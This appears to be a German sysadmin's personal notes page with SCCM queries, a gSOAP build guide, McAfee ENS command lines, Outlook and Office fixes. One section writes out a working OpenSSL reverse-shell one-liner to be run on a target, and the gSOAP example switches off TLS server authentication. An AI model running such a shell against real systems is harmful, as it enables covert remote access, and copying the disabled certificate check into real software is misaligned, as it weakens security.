SCCM Query: Windows 10 Buildnummern

Weil die meisten SCCM Reports nur bis zur dritten Buildnummer (10.0.n) gehen und die letzte Nummer fast nirgends zu bekommen ist:

select v_GS_OPERATING_SYSTEM.Caption0, vSMS_R_System.BuildExt as Build, count(*) as Anzahl
from vSMS_R_System
inner join v_GS_OPERATING_SYSTEM on v_GS_OPERATING_SYSTEM.ResourceID = vSMS_R_System.ItemKey
where v_GS_OPERATING_SYSTEM.Caption0 like '%Windows 10%'
group by v_GS_OPERATING_SYSTEM.Caption0,vSMS_R_System.BuildExt
order by v_GS_OPERATING_SYSTEM.Caption0,vSMS_R_System.BuildExt

SCCM Query: Failed Deployment

Namen der Rechner auf denen ein Deployment fehlgeschlagen ist:

select sys.Name0 from vSMS_R_System as sys inner join vSMS_ClientAdvertisementStatus as offer on sys.ItemKey=offer.ResourceID WHERE AdvertisementID = 'XXXnnnnnn' and LastStateName = 'Failed'

gSOAP auf Ubuntu 16.04

Wiederum als Erinnerungshilfe für gSOAP Client auf Linux (eLux in dem Fall) gegen .NET Web Service (die alte Version, die mit .asmx). Durchgeführt auf einem Windows 10 Rechner mit WSL + Ubuntu 16.04 (!!).

build-essential, bison, flex, openssl, libssl-dev installieren

automake 1.16 deb installieren

gSOAP Sourcen runterladen/entpacken (im Beispiel Version 2.8.93 im Codeverzeichnis)

./configure
make
sudo make install

wsdl2h -c -o service.h https://whereever/whatever/service.asmx

soapcpp2 -c service.h

#include "soapH.h"     // wird von soapccp2 erzeugt
#include "ServiceSoap.nsmap"  // wird von soapccp2 erzeugt

int main(int argc, char** argv)
{
   struct soap *soap = soap_new();
   struct _tempuri__MethodResponse Result;

   soap->ssl_flags = SOAP_SSL_NO_AUTHENTICATION;

   if (soap_call___tempuri__Method(soap, NULL, NULL, NULL, &Result) == SOAP_OK)
   {
      printf("Result: %s\n" , Result.MethodResult);
   }
   else
      soap_print_fault(soap, stderr);
 }

“Method” ist der Name der Methode. In dem Fall gibt das Ding nur einen String zurück und hat keine Parameter (die letzte NULL vorm &Result beim Aufruf).

“tempuri” ist der Namespace des Services (Attribut [Namespace] im ASMX). Muss man ggf. aus dem erzeugten service.h ermitteln.

g++ -o service -DWITH_OPENSSL service.c soapC.c soapClient.c ./gsoap_2.8.93/gsoap-2.8/gsoap/stdsoap2.c ./gsoap_2.8.93/gsoap-2.8/gsoap/libgsoapssl.a -lssl -lcrypto

-DWITH_OPENSSL für Services auf HTTPS (bedingt -lssl und -lcrypto) – müssen hinter den Inputfiles stehen!
soapC.c und soapClient.c werden von soapcpp2 erzeugt
stdsoap2.c und libgsoapssl.a werden beim Build von gSOAP erzeugt – .a weil Library dann statisch gelinked wird (auf eLux nicht vorhanden).

McAfee ENS command line

Ein paar Command Lines wenn das Ding nicht so will wie es soll und/oder GUI verreckt ist (Agent 5.6.2/ENS 10.6.1):

Das was im Kontextmenü unter “McAfee Endpoint Security” firmiert:

"C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform\MFEConsole.exe"

McAfee Agent Statusmonitor:

"C:\Program Files\McAfee\Agent\cmdagent.exe" -s

(-i liefert Konfiguration auf die Konsole)

Update anwerfen:

"C:\Program Files\McAfee\Endpoint Security\Threat Prevention\amcfg.exe" /update

Managed Agent deinstallieren:

"C:\Program Files\Mcafee\Agent\x86\frminst.exe" /remove=agent

Managed ATP deinstallieren:

"C:\Program Files (x86)\McAfee\Endpoint Security\Adaptive Threat Protection\RepairCache\SetupATP.exe" /x /removeespsynchronously /PASSWORD=whatever

Reverse Shell mit OpenSSL

An sich eh altes Zeug aber ich finds nie wenn ichs such daher hier nur für mich:

Am eigenen Arbeitsplatz (ich habs mit Linux gemacht, theoretisch müssts auch unter Windows gehen:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -accept 4711

Auf dem Ziel::

mkfifo /tmp/rs; /bin/bash -i < /tmp/rs 2>&1 | openssl s_client -quiet -connect mein_arbeitsplatz:4711 > /tmp/rs; rm /tmp/rs

Outlook Mail Template mit Powershell verschicken

Hintergrund: Basierend auf einem Inputfile sollen bestimmte Teile in einem (komplexen) Mail Template getauscht werden und dann das Ergebnis verschickt werden.

Lösung: Template erstellen, zu tauschende Stellen irgendwie markieren (§§§CLIENT§§§ z.B.) und das Mail als .MSG speichern.

Script:
$targetdate="10.7.2019"
$targetcomputer="MyPC"
$recipients="a@b.c","d.e@f.h"

$ol=New-Object -ComObject Outlook.Application
$msg=$ol.CreateItemFromTemplate("C:\Temp\Template.msg")
$msg.Subject=$msg.Subject.Replace("§§§DATE§§§",$targetdate).Replace("§§§CLIENT§§§",$targetcomputer)
$msg.HTMLBody=$msg.HTMLBody.Replace("§§§DATE§§§",$targetdate).Replace("§§§CLIENT§§§",$targetcomputer)
foreach ($rec in $recipients)
{
$msg.Recipients.Add($rec)
}
$msg.Save()

# anzeigen
$inspector=$msg.GetInspector()
$inspector.Display()

# $msg.Send() wäre die Alternative

# cleanup
Remove-Variable ol,msg,inspector

Office 2016 Protected View kaputt

Wenn beliebige Office Programme beim Öffnen eines Dokuments meinen das Dokument ist korrupt, kaputt oder sonst irgendwie hinüber und die Dinger das “Internet-Flag” haben könnte es daran liegen dass die Protected View (geschützte Ansicht) nicht starten kann: Die läuft nämlich als Subprozess in einem Application Container und manchmal haben die (oder deren “Gruppe” ALL APPLICATION PACKAGES (S-1-15-2-1)) Probleme bestimmte Bereiche der Registry und/oder Filesystem zu benutzen.

Im gegenständlichen Fall wars C:\WINDOWS\SysWOW64\vcruntime140.dll und msvcp140.dll – im Process Monitor sieht man dann ein ACCESS DENIED beim Zugriff.

Fix:

icacls C:\Windows\SysWOW64\vcruntime140.dll /grant *S-1-15-2-1:(OI)(CI)RX
icacls C:\Windows\SysWOW64\msvcp140.dll /grant *S-1-15-2-1:(OI)(CI)RX

Referenzen:

https://support.microsoft.com/en-za/help/2798317/microsoft-store-apps-fail-to-start-if-default-registry-or-file-permiss

https://answers.microsoft.com/en-us/msoffice/forum/all/office-2016-any-open-in-protected-mode-fails-with/050c6c55-13ca-4536-b471-2520dab3631f

SCCM Client Upgrade findet nicht statt

Szenario: SCCM Update durchgeführt, Client AutoUpgrade enabled, findet aber nicht statt

Fehler im ccmseutp.log:

Failed to get DP locations as the expected version from MP 'https://meinsccm.meinefirma.whatever'. Error 0x87d00215

Grund:

Das SCCM Package “Configuration Manager Client Package” wurde nicht oder nicht korrekt auf den oder die Distribution Points verteilt. Sieht man im Content Status – ist der nicht grün hats was. Im konkreten Fall hat ein “Update Distribution Points” gereicht.